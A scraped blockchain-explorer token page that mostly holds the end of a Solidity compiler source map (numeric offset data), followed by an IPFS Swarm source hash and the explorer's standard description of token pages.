2981:1;2978;2971:12;2996:382;3061:6;3069;3122:2;3110:9;3101:7;3097:23;3093:32;3090:52;;;3138:1;3135;3128:12;3090:52;3177:9;3164:23;3196:31;3221:5;3196:31;:::i;:::-;3246:5;-1:-1:-1;3303:2:1;3288:18;;3275:32;3316:30;3275:32;3316:30;:::i;:::-;3365:7;3355:17;;;2996:382;;;;;:::o;3383:241::-;3439:6;3492:2;3480:9;3471:7;3467:23;3463:32;3460:52;;;3508:1;3505;3498:12;3460:52;3547:9;3534:23;3566:28;3588:5;3566:28;:::i;3629:388::-;3697:6;3705;3758:2;3746:9;3737:7;3733:23;3729:32;3726:52;;;3774:1;3771;3764:12;3726:52;3813:9;3800:23;3832:31;3857:5;3832:31;:::i;:::-;3882:5;-1:-1:-1;3939:2:1;3924:18;;3911:32;3952:33;3911:32;3952:33;:::i;4256:380::-;4335:1;4331:12;;;;4378;;;4399:61;;4453:4;4445:6;4441:17;4431:27;;4399:61;4506:2;4498:6;4495:14;4475:18;4472:38;4469:161;;4552:10;4547:3;4543:20;4540:1;4533:31;4587:4;4584:1;4577:15;4615:4;4612:1;4605:15;4469:161;;4256:380;;;:::o;4641:127::-;4702:10;4697:3;4693:20;4690:1;4683:31;4733:4;4730:1;4723:15;4757:4;4754:1;4747:15;4773:422;4862:1;4905:5;4862:1;4919:270;4940:7;4930:8;4927:21;4919:270;;;4999:4;4995:1;4991:6;4987:17;4981:4;4978:27;4975:53;;;5008:18;;:::i;:::-;5058:7;5048:8;5044:22;5041:55;;;5078:16;;;;5041:55;5157:22;;;;5117:15;;;;4919:270;;;4923:3;4773:422;;;;;:::o;5200:806::-;5249:5;5279:8;5269:80;;-1:-1:-1;5320:1:1;5334:5;;5269:80;5368:4;5358:76;;-1:-1:-1;5405:1:1;5419:5;;5358:76;5450:4;5468:1;5463:59;;;;5536:1;5531:130;;;;5443:218;;5463:59;5493:1;5484:10;;5507:5;;;5531:130;5568:3;5558:8;5555:17;5552:43;;;5575:18;;:::i;:::-;-1:-1:-1;;5631:1:1;5617:16;;5646:5;;5443:218;;5745:2;5735:8;5732:16;5726:3;5720:4;5717:13;5713:36;5707:2;5697:8;5694:16;5689:2;5683:4;5680:12;5676:35;5673:77;5670:159;;;-1:-1:-1;5782:19:1;;;5814:5;;5670:159;5861:34;5886:8;5880:4;5861:34;:::i;:::-;5931:6;5927:1;5923:6;5919:19;5910:7;5907:32;5904:58;;;5942:18;;:::i;:::-;5980:20;;5200:806;-1:-1:-1;;;5200:806:1:o;6011:140::-;6069:5;6098:47;6139:4;6129:8;6125:19;6119:4;6098:47;:::i;6156:168::-;6196:7;6262:1;6258;6254:6;6250:14;6247:1;6244:21;6239:1;6232:9;6225:17;6221:45;6218:71;;;6269:18;;:::i;:::-;-1:-1:-1;6309:9:1;;6156:168::o;6329:125::-;6369:4;6397:1;6394;6391:8;6388:34;;;6402:18;;:::i;:::-;-1:-1:-1;6439:9:1;;6329:125::o;6459:251::-;6529:6;6582:2;6570:9;6561:7;6557:23;6553:32;6550:52;;;6598:1;6595;6588:12;6550:52;6630:9;6624:16;6649:31;6674:5;6649:31;:::i;7303:245::-;7370:6;7423:2;7411:9;7402:7;7398:23;7394:32;7391:52;;;7439:1;7436;7429:12;7391:52;7471:9;7465:16;7490:28;7512:5;7490:28;:::i;8726:128::-;8766:3;8797:1;8793:6;8790:1;8787:13;8784:39;;;8803:18;;:::i;:::-;-1:-1:-1;8839:9:1;;8726:128::o;9267:217::-;9307:1;9333;9323:132;;9377:10;9372:3;9368:20;9365:1;9358:31;9412:4;9409:1;9402:15;9440:4;9437:1;9430:15;9323:132;-1:-1:-1;9469:9:1;;9267:217::o;9621:127::-;9682:10;9677:3;9673:20;9670:1;9663:31;9713:4;9710:1;9703:15;9737:4;9734:1;9727:15;9753:980;10015:4;10063:3;10052:9;10048:19;10094:6;10083:9;10076:25;10120:2;10158:6;10153:2;10142:9;10138:18;10131:34;10201:3;10196:2;10185:9;10181:18;10174:31;10225:6;10260;10254:13;10291:6;10283;10276:22;10329:3;10318:9;10314:19;10307:26;;10368:2;10360:6;10356:15;10342:29;;10389:1;10399:195;10413:6;10410:1;10407:13;10399:195;;;10478:13;;-1:-1:-1;;;;;10474:39:1;10462:52;;10569:15;;;;10534:12;;;;10510:1;10428:9;10399:195;;;-1:-1:-1;;;;;;;10650:32:1;;;;10645:2;10630:18;;10623:60;-1:-1:-1;;;10714:3:1;10699:19;10692:35;10611:3;9753:980;-1:-1:-1;;;9753:980:1:o;11350:306::-;11438:6;11446;11454;11507:2;11495:9;11486:7;11482:23;11478:32;11475:52;;;11523:1;11520;11513:12;11475:52;11552:9;11546:16;11536:26;;11602:2;11591:9;11587:18;11581:25;11571:35;;11646:2;11635:9;11631:18;11625:25;11615:35;;11350:306;;;;;:::o

Swarm Source

ipfs://7e002bd9c7b26b62e6caef4002f70880db4142d898583455a2c68d04712eb88b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.